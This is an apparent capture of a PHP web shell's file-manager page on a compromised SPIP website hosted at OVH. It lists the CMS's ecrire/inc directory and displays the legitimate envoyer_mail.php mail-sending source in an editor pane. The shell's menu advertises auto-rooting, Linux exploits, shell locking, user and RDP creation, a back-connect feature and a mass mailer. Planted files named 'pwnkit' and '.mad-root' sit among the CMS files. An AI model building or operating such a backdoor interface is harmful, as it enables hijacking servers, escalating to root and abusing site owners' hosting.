Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
grice /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : envoyer_mail.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ /** * Gestion des emails et de leur envoi * * @package SPIP\Core\Mail **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/charsets'); include_spip('inc/texte'); /** * Nettoyer le titre d'un email * * @uses textebrut() * @uses corriger_typo() * * @param string $titre * @return string */ function nettoyer_titre_email($titre) { return str_replace("\n", ' ', nettoyer_caracteres_mail(textebrut(corriger_typo($titre)))); } /** * Utiliser le bon encodage de caractères selon le charset * * Caractères pris en compte : apostrophe, double guillemet, * le tiret cadratin, le tiret demi-cadratin * * @uses filtrer_entites() * * @param string $t * @return string */ function nettoyer_caracteres_mail($t) { $t = filtrer_entites($t); if ($GLOBALS['meta']['charset'] <> 'utf-8') { $t = str_replace( ['’', '“', '”'], ["'", '"', '"'], $t ); } $t = str_replace( ['—', '&endash;'], ['--', '-'], $t ); return $t; } /** * Envoi d'un mail * * @param string $destinataire * @param string $sujet * @param string|array $corps * - au format string, c'est un corps d'email au format texte, comme supporte nativement par le core * - au format array, c'est un corps etendu qui peut contenir * - string texte : le corps d'email au format texte * - string from : email de l'envoyeur (prioritaire sur argument $from de premier niveau, deprecie) * - array headers : tableau d'en-tetes personalises, une entree par ligne d'en-tete * --- Support partiel par une fonction mail_embarquer_pieces_jointes a fournir, --- * --- chargee de convertir en texte encodee les pieces jointes --- * - array pieces_jointes : listes de pieces a embarquer dans l'email, chacune au format array : * - string chemin : chemin file system pour trouver le fichier a embarquer * - string nom : nom du document tel qu'apparaissant dans l'email * - string encodage : encodage a utiliser, parmi 'base64', '7bit', '8bit', 'binary', 'quoted-printable' * - string mime : mime type du document * --- Non implemente ici --- * - string html : le corps d'email au format html * - string nom_envoyeur : un nom d'envoyeur pour completer l'email from * - string cc : destinataires en copie conforme * - string bcc : destinataires en copie conforme cachee * - string adresse_erreur : addresse de retour en cas d'erreur d'envoi * @param string $from (deprecie, utiliser l'entree from de $corps) * @param string $headers (deprecie, utiliser l'entree headers de $corps) * @return bool */ function inc_envoyer_mail_dist($destinataire, $sujet, $corps, $from = '', $headers = '') { if (!email_valide($destinataire)) { return false; } if ($destinataire == _T('info_mail_fournisseur')) { return false; } // tres fort // Fournir si possible un Message-Id: conforme au RFC1036, // sinon SpamAssassin denoncera un MSGID_FROM_MTA_HEADER $email_envoi = $GLOBALS['meta']['email_envoi']; if (!email_valide($email_envoi)) { spip_log('Meta email_envoi invalide. Le mail sera probablement vu comme spam.'); $email_envoi = $destinataire; } $parts = ''; if (is_array($corps)) { $texte = $corps['texte']; $from = ($corps['from'] ?? $from); $headers = ($corps['headers'] ?? $headers); if (is_array($headers)) { $headers = implode("\n", $headers); } if (isset($corps['pieces_jointes']) and function_exists('mail_embarquer_pieces_jointes')) { $parts = mail_embarquer_pieces_jointes($corps['pieces_jointes']); } } else { $texte = $corps; } if (!$from) { $from = $email_envoi; } // ceci est la RegExp NO_REAL_NAME faisant hurler SpamAssassin if (preg_match('/^["\s]*\<?\S+\@\S+\>?\s*$/', $from)) { $from .= ' (' . str_replace(')', '', translitteration(str_replace('@', ' at ', $from))) . ')'; } // nettoyer les é ’, &emdash; etc... // les 'cliquer ici' etc sont a eviter; voir: // http://mta.org.ua/spamassassin-2.55/stuff/wiki.CustomRulesets/20050914/rules/french_rules.cf $texte = nettoyer_caracteres_mail($texte); $sujet = nettoyer_caracteres_mail($sujet); // encoder le sujet si possible selon la RFC if (init_mb_string()) { # un bug de mb_string casse mb_encode_mimeheader si l'encoding interne # est UTF-8 et le charset iso-8859-1 (constate php5-mac ; php4.3-debian) $charset = $GLOBALS['meta']['charset']; mb_internal_encoding($charset); $sujet = mb_encode_mimeheader($sujet, $charset, 'Q', "\n"); mb_internal_encoding('utf-8'); } $headers = $headers ?? ''; if (function_exists('wordwrap') && (preg_match(',multipart/mixed,', $headers) == 0)) { $texte = wordwrap($texte); } [$headers, $texte] = mail_normaliser_headers($headers, $from, $destinataire, $texte, $parts); if (_OS_SERVEUR == 'windows') { $texte = preg_replace("@\r*\n@", "\r\n", $texte); $headers = preg_replace("@\r*\n@", "\r\n", $headers); $sujet = preg_replace("@\r*\n@", "\r\n", $sujet); } spip_log("mail $destinataire\n$sujet\n$headers", 'mails'); // mode TEST : forcer l'email if (defined('_TEST_EMAIL_DEST')) { if (!_TEST_EMAIL_DEST) { return false; } else { $texte = "Dest : $destinataire\r\n" . $texte; $destinataire = _TEST_EMAIL_DEST; } } return @mail($destinataire, $sujet, $texte, $headers); } /** * Formater correctement l'entête d'un email * * @param string $headers * @param string $from * @param string $to * @param string $texte * @param string $parts * @return array */ function mail_normaliser_headers($headers, $from, $to, $texte, $parts = '') { $charset = $GLOBALS['meta']['charset']; // Ajouter le Content-Type et consort s'il n'y est pas deja if (strpos($headers, 'Content-Type: ') === false) { $type = "Content-Type: text/plain;charset=\"$charset\";\n" . "Content-Transfer-Encoding: 8bit\n"; } else { $type = ''; } // calculer un identifiant unique // Marie Toto <Marie@toto.com> => @toto.com if (preg_match('/@[^\s>]+/', $from, $domain)) { $domain = $domain[0]; } else { $domain = '@unknown-' . md5($from) . '.org'; } $uniq = random_int(0, mt_getrandmax()) . '_' . md5($to . $texte) . $domain; // Si multi-part, s'en servir comme borne ... if ($parts) { $texte = "--$uniq\n$type\n" . $texte . "\n"; foreach ($parts as $part) { $n = strlen($part[1]) . ($part[0] ? "\n" : ''); $e = join("\n", $part[0]); $texte .= "\n--$uniq\nContent-Length: $n$e\n\n" . $part[1]; } $texte .= "\n\n--$uniq--\n"; // Si boundary n'est pas entre guillemets, // elle est comprise mais le charset est ignoree ! $type = "Content-Type: multipart/mixed; boundary=\"$uniq\"\n"; } // .. et s'en servir pour plaire a SpamAssassin $mid = 'Message-Id: <' . $uniq . '>'; // indispensable pour les sites qui collent d'office From: serveur-http // sauf si deja mis par l'envoyeur $rep = (strpos($headers, 'Reply-To:') !== false) ? '' : "Reply-To: $from\n"; // Nettoyer les en-tetes envoyees // Ajouter le \n final if (strlen($headers = trim($headers))) { $headers .= "\n"; } // Et mentionner l'indeboulonable nomenclature ratee $headers .= "From: $from\n$type$rep$mid\nMIME-Version: 1.0\n"; return [$headers, $texte]; }
Close